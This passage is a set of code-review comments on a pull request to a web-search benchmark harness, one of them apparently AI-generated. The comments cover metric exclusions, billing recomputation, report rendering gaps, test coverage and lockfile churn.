Unchanged. quality_ids = ids - factual_quality_exclusions still drives the headline factual tables, and no metric is computed on the full 831-case population. The new rule that a failures-only review cannot exclude references helps, but a scope-all review still removes 56 queries from the headline denominator through quality_excluded: true, with no root cause, regression IDs or preregistered rerun. Show the official full-population metrics as the headline, move the reduced view into a labelled post-hoc diagnostic, and require correction provenance before an exclusion is accepted.

[major · new] AGENTS.md:3 — Benchmark ownership section omits lexbench-websearch

The 'Benchmark ownership' paragraph names only lexmount/lexbench-webfetch (with its definition_path rule) and the upstream WebMainBench/WCXB/WebArena authorities. This PR moves the Web Search task populations, NOTICE, regressions and scoring into lexbench-websearch, but the agent instructions never say that package owns them or that its pinned package must be imported rather than re-implemented. Agents following AGENTS.md get no rule against re-adding search datasets or scoring under harness/web_search or evaluation/web-search. Add the parallel sentence for lexbench-websearch: it owns datasets, provenance, reference qualifications and scoring; resolve definitions through lexbench_websearch.inputs; keep execution profiles and hash bindings in evaluation/web-search.

[major · partial] harness/web_search/report.py:148 — Billing is still recomputed at render time

Fixed earlier: an assessment revision must match a versioned hash and pass the paired scoring regressions. Remaining and unchanged: public_calls still recomputes each attempt's cost with request_cost while the report is being built and overwrites the measured cost. That applies a billing correction at presentation time, not at collection or aggregation, and no versioned correction receipt binds it. Move the correction into the aggregate step under a versioned receipt, and have the renderer only verify it.

[major · open] harness/web_search/report.py:560 — Chinese-only comparison reports still have no link to the English notice

Unchanged. The guard authored.get("presentation") != "comparison-report" still drops the English link from a Chinese-only comparison build. A synthetic 4-provider comparison build at this head writes en/index.html (the not-generated notice) and records english_status: not_generated, but no Chinese page links to it, and check() still passes. The equivalent non-comparison build does render the link. Remove the guard, and have check() require the link whenever only Chinese is generated.

[major · partial] harness/web_search/report.py:1564 — The page registry is only partly adopted; 25 `comparison-report` branches remain

Fixed earlier: pages.reader_pages feeds the visual producer, the build navigation and the top-level route list in check(). Remaining and unchanged: report.py still has 25 presentation == / != comparison-report branches. Per-presentation decisions for notices, the English link, the review link, speed sections, section order and which panels check() verifies still live in scattered conditionals. The English-notice gap above comes from one of them. Move these choices into the registry data and have build and check read them from there.

[minor · new] harness/lexbench_pin.py:16 — Pin-update tooling and binding file only cover lexbench-webfetch

harness/lexbench_pin.py (called by scripts/bump_lexbench.py) hard-codes NAME = "lexbench-webfetch" and its regexes. It rewrites only the webfetch requirement and evaluation/lexbench-webfetch.json. lexbench-websearch has no equivalent binding file recording its revision and definition hashes, and the bump script cannot move its pin. Updating the search benchmark (for example, repinning after PR #1 merges) is therefore a manual edit of pyproject.toml and uv.lock with no recorded hash binding. Parameterize the pin tool by package and add a websearch binding, or document why the search pin is handled differently.

[minor · partial] harness/web_search/report.py:470 — Factual metrics still default to a five-result window

Fixed: validate_profile now accepts only top_k 5 or 10, so a profile can no longer ask for some other window. Still open: the pinned scorer's evaluate always stores factual metrics from results[:5], and factual_sensitivity, factual_evidence, task_acceptance and classify still default to cutoff=5. The report's factual-sensitivity export (here) and the release check (line 1344) call factual_sensitivity without a cutoff, so a top_k=10 profile would be graded at 5 in those views and at 10 elsewhere. Pass the profile top_k at both call sites. In LexBench Web Search, make the cutoff a required keyword and pass it through evaluate.

[minor · open] harness/web_search/report.py:905 — Quarantined factual tasks still hide provider errors from the failure inventory

Unchanged after the move: the pinned lexbench_websearch.scoring.classify returns probe/quality_excluded before it checks error, http_status or empty results. Reproduced: an HTTP 500 or an empty response on a quarantined factual task classifies as probe/quality_excluded, not api_error or empty. The report's default fail filter and failure counts drop these calls, while the comparison's availability check and review.py (which doesn't pass the flag) still count them as failures. Quarantine should remove only the reference-dependent quality verdict. Fix the order in LexBench Web Search and pin it here, or check delivery failures in this call before applying quality_excluded.

[minor · open] harness/web_search/report.py:2643 — The report still hard-codes the answer-rule policy name

Unchanged: this section compares answer_match_rule with the literal 'published-answers/2', while the scorer dispatches on lexbench_websearch.answer_rules.POLICY_NAME. The two values match today. If the package bumps its policy name, this section will silently stop recognising the revised cases. Import POLICY_NAME from the pinned package.

🤖 Generated with Claude Code

[lanyue-llk]

[major · partial] Detail and evidence coverage promised by the relaxed rule is still incomplete

Partly fixed: the Moli test now opens a passed and a failed result route rendered by the real app.js, loads the log through a renderer-emitted evidence button, and checks Escape dismissal and focus return. Browser Use and Replay already open generated success and failure details. Still missing: the generated Browser Use test never opens a diagnosis dialog or checks keyboard dismissal and focus return; that only happens on hand-written markup. The Moli model is also hand-written JSON rather than output of the Moli build. Add a keyboard and focus check on a generated Browser Use dialog before relying on this rule in place of the release interaction pass.

[lanyue-llk]

[major · partial] Narrow-width and theme coverage is only partly in the component tests

Partly fixed: activate_and_check_layout now flips the theme through each renderer's real toggle and is called by the WCXB, Moli and generated Browser Use and Replay tests. Remaining gaps: the hand-written Browser Use and Replay tests still run the narrow/dark variant without activating dark mode. Overflow is checked only on the document root, and dialog bounds only for the Replay step dialog. harness/reporting/visual.py still records only light in state_matrix. Extend the helper to the remaining tests and to the Browser Use, WCXB and Moli dialogs, or reword line 83 to match what is covered.

[lanyue-llk]

[major · partial] Docs still say generation-time checks own dialogs and evidence loading

Generated or renderer-driven browser tests now cover result details and evidence loading for Browser Use, Replay and Moli, and filters and a dialog for WCXB. The text still says deterministic generation checks own detail links, filters, pagination, dialogs and evidence loading, and that shared component tests own narrow-width and theme behaviour. Replay and WCXB filters are mostly unexercised, and the Browser Use diagnosis dialog is tested only on hand-written markup. report-and-release.md, moli_report/BUILD.md and SKILL.md repeat the claim. Narrow the wording to what is tested, or add the missing tests.

[lanyue-llk]

[major · partial] Browser Use release check still skips detail routes; the generated test covers only part of them

Unchanged since the last review. test_generated_browser_use_success_failure_and_evidence_viewer opens a passed and a failed result page and the evidence viewer. Still uncovered: the analysis-page diagnosis dialog on generated markup, and the old check that evidence-viewer src links stay inside the report. _routes still returns only top-level pages. Add the generated diagnosis-dialog interaction and a negative control for an unsafe evidence src link.

[lanyue-llk]

[major · partial] Replay filters, English notice and results dialog still lack generated coverage

Unchanged since the last review. The generated Replay test covers passed and failed result pages, the step dialog's bounds, keyboard dismissal and focus return, and the evidence viewer. Still missing: the dataset, matrix and metrics filters, the English not-generated notice under a tokenized preview base, and the results diagnosis dialog, which is still tested only on a hand-written results body. Move the diagnosis-dialog test onto the generated fixture and add filter and notice assertions.

[lanyue-llk]

[minor · new] No test checks that the run contract freezes the pinned scorer's sources

collection_implementation now adds every lexbench_websearch module (as dependencies/lexbench_websearch/*.py) to the frozen implementation and the resume drift check. That matters because evaluate and result normalization, which write each row's stored metrics, now live in the package. Nothing tests it: deleting sources.update(implementation_sources()) leaves all 273 tests green. A resumed collection could then combine rows scored by two scorer versions without detection, and the receipt would not bind the scoring code. Add a runner test that asserts the dependency entries appear in run-contract.json and that changing one of them rejects a resume.

[lanyue-llk]

[minor · open] Shared report fixtures live in test modules and return locals()

Unchanged. build_replay_fixture returns locals() when context=True, so callers unpack loop leftovers, and any rename inside the helper silently changes test inputs. The interaction tests import build_browser_use_fixture and build_replay_fixture from other test modules, which couples unrelated test files. Every attempt in the three-method matrix test now has a trace file, so results without trace evidence are no longer covered there. Move the builders into fixture modules (like tests/wcxb_fixture.py), return an explicit structure, and keep one no-evidence case.

[lanyue-llk]

[minor · partial] Tests still forge receipts and lack path and interrupt controls

Fixed: a test now rejects a failures-only review that tries to change the quality denominator, and the runtime test checks that the copied credential is gone. Remaining: the release fixture still writes a passing status.json by hand, which is the forgery the gate should reject. Nothing tests that load_frozen rejects absolute or escaping paths, a bilingual review build, or the timeout and interrupt paths in run().

[lanyue-llk]

[minor · new] The isolated-config assertion no longer checks anything

The test now asserts 'mcp_servers' not in observed.get('config', ''), but the stub backend writes only args and environment into observed.json. The lookup therefore always returns an empty string and the assertion always passes. Before this change the test read the real config.toml. Have the stub record the contents of $CODEX_HOME/config.toml before the runtime directory is removed, and assert on that.

[lanyue-llk]

[minor · new] Lockfile format revision downgraded from 3 to 2

The new commits regenerated uv.lock with an older uv: the header goes from revision = 3 (main and the previously reviewed head) to revision = 2, and the scipy numpy dependencies gain extra markers. The resolution is equivalent and CI passes, but the next uv lock with the current toolchain, including make bump-lexbench, will flip it back and produce unrelated lockfile churn. Regenerate the lock with the repository's current uv version.